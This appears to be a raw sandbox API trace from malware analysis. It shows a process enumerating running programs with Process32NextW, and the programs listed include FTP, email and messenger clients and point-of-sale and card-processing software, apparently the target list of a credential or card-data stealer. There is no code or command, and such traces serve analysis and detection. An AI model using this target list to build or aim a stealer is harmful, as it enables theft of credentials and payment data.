th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.906] lstrlenW (lpString="svchost.exe") returned 11 [0031.906] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.907] lstrlenW (lpString="svchost.exe") returned 11 [0031.907] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0031.907] lstrlenW (lpString="dwm.exe") returned 7 [0031.907] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0031.907] lstrlenW (lpString="explorer.exe") returned 12 [0031.907] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0031.908] lstrlenW (lpString="spoolsv.exe") returned 11 [0031.908] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0031.908] lstrlenW (lpString="taskhost.exe") returned 12 [0031.908] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0031.909] lstrlenW (lpString="svchost.exe") returned 11 [0031.909] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x374, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0031.909] lstrlenW (lpString="taskeng.exe") returned 11 [0031.909] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="judges-present.exe")) returned 1 [0031.910] lstrlenW (lpString="judges-present.exe") returned 18 [0031.910] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="physics.exe")) returned 1 [0031.910] lstrlenW (lpString="physics.exe") returned 11 [0031.910] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="belongs.exe")) returned 1 [0031.910] lstrlenW (lpString="belongs.exe") returned 11 [0031.910] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="deck-truly-lauderdale.exe")) returned 1 [0031.911] lstrlenW (lpString="deck-truly-lauderdale.exe") returned 25 [0031.911] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gadgets.exe")) returned 1 [0031.911] lstrlenW (lpString="gadgets.exe") returned 11 [0031.911] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="geneva.exe")) returned 1 [0031.911] lstrlenW (lpString="geneva.exe") returned 10 [0031.912] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="elephant.exe")) returned 1 [0031.912] lstrlenW (lpString="elephant.exe") returned 12 [0031.912] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="revolution_qualities.exe")) returned 1 [0031.912] lstrlenW (lpString="revolution_qualities.exe") returned 24 [0031.912] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="roger-venice.exe")) returned 1 [0031.913] lstrlenW (lpString="roger-venice.exe") returned 16 [0031.913] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="cite.exe")) returned 1 [0031.913] lstrlenW (lpString="cite.exe") returned 8 [0031.913] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="popularity_segments_sell.exe")) returned 1 [0031.913] lstrlenW (lpString="popularity_segments_sell.exe") returned 28 [0031.913] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="genius regulation transform.exe")) returned 1 [0031.914] lstrlenW (lpString="genius regulation transform.exe") returned 31 [0031.914] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artist_selecting.exe")) returned 1 [0031.914] lstrlenW (lpString="artist_selecting.exe") returned 20 [0031.914] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x75c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="poems.exe")) returned 1 [0031.914] lstrlenW (lpString="poems.exe") returned 9 [0031.914] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x770, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bow.exe")) returned 1 [0031.915] lstrlenW (lpString="bow.exe") returned 7 [0031.915] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="artworkcustomerprecise.exe")) returned 1 [0031.915] lstrlenW (lpString="artworkcustomerprecise.exe") returned 26 [0031.915] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x544, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="businesses.exe")) returned 1 [0031.915] lstrlenW (lpString="businesses.exe") returned 14 [0031.915] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="lucky.exe")) returned 1 [0031.916] lstrlenW (lpString="lucky.exe") returned 9 [0031.916] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="routine_mall_hebrew.exe")) returned 1 [0031.916] lstrlenW (lpString="routine_mall_hebrew.exe") returned 23 [0031.916] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="healthmanner.exe")) returned 1 [0031.916] lstrlenW (lpString="healthmanner.exe") returned 16 [0031.917] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0031.917] lstrlenW (lpString="3dftp.exe") returned 9 [0031.917] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0031.917] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0031.917] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0031.918] lstrlenW (lpString="alftp.exe") returned 9 [0031.918] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0031.918] lstrlenW (lpString="barca.exe") returned 9 [0031.918] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0031.918] lstrlenW (lpString="bitkinex.exe") returned 12 [0031.918] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0031.919] lstrlenW (lpString="coreftp.exe") returned 11 [0031.919] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0031.919] lstrlenW (lpString="far.exe") returned 7 [0031.919] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0031.919] lstrlenW (lpString="filezilla.exe") returned 13 [0031.919] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0031.920] lstrlenW (lpString="flashfxp.exe") returned 12 [0031.920] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0031.920] lstrlenW (lpString="fling.exe") returned 9 [0031.920] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0031.920] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0031.920] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0031.921] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0031.921] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0031.921] lstrlenW (lpString="icq.exe") returned 7 [0031.921] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0031.922] lstrlenW (lpString="leechftp.exe") returned 12 [0031.922] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0031.922] lstrlenW (lpString="ncftp.exe") returned 9 [0031.922] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0031.923] lstrlenW (lpString="notepad.exe") returned 11 [0031.923] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0031.923] lstrlenW (lpString="operamail.exe") returned 13 [0031.923] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0031.924] lstrlenW (lpString="outlook.exe") returned 11 [0031.926] CloseHandle (hObject=0xe4) returned 1 [0031.926] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0031.927] lstrlenW (lpString="pidgin.exe") returned 10 [0031.927] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0031.927] lstrlenW (lpString="scriptftp.exe") returned 13 [0031.927] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0031.928] lstrlenW (lpString="skype.exe") returned 9 [0031.928] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0031.928] lstrlenW (lpString="smartftp.exe") returned 12 [0031.928] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0031.929] lstrlenW (lpString="thunderbird.exe") returned 15 [0031.929] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0031.930] lstrlenW (lpString="totalcmd.exe") returned 12 [0031.930] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0031.930] lstrlenW (lpString="trillian.exe") returned 12 [0031.930] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0031.931] lstrlenW (lpString="webdrive.exe") returned 12 [0031.931] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0031.931] lstrlenW (lpString="whatsapp.exe") returned 12 [0031.931] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0031.932] lstrlenW (lpString="winscp.exe") returned 10 [0031.932] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0031.932] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0031.932] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0031.933] lstrlenW (lpString="active-charge.exe") returned 17 [0031.933] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0031.933] lstrlenW (lpString="accupos.exe") returned 11 [0031.933] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0031.934] lstrlenW (lpString="afr38.exe") returned 9 [0031.934] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0031.934] lstrlenW (lpString="aldelo.exe") returned 10 [0031.934] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0031.935] lstrlenW (lpString="ccv_server.exe") returned 14 [0031.935] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0031.935] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0031.935] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0031.936] lstrlenW (lpString="creditservice.exe") returned 17 [0031.936] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0031.936] lstrlenW (lpString="edcsvr.exe") returned 10 [0031.936] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0031.937] lstrlenW (lpString="fpos.exe") returned 8 [0031.937] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0031.937] lstrlenW (lpString="isspos.exe") returned 10 [0031.937] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0031.938] lstrlenW (lpString="mxslipstream.exe") returned 16 [0031.938] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0031.938] lstrlenW (lpString="omnipos.exe") returned 11 [0031.938] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0031.938] lstrlenW (lpString="spcwin.exe") returned 10 [0031.939] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0031.939] lstrlenW (lpString="spgagentservice.exe") returned 19 [0031.939] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 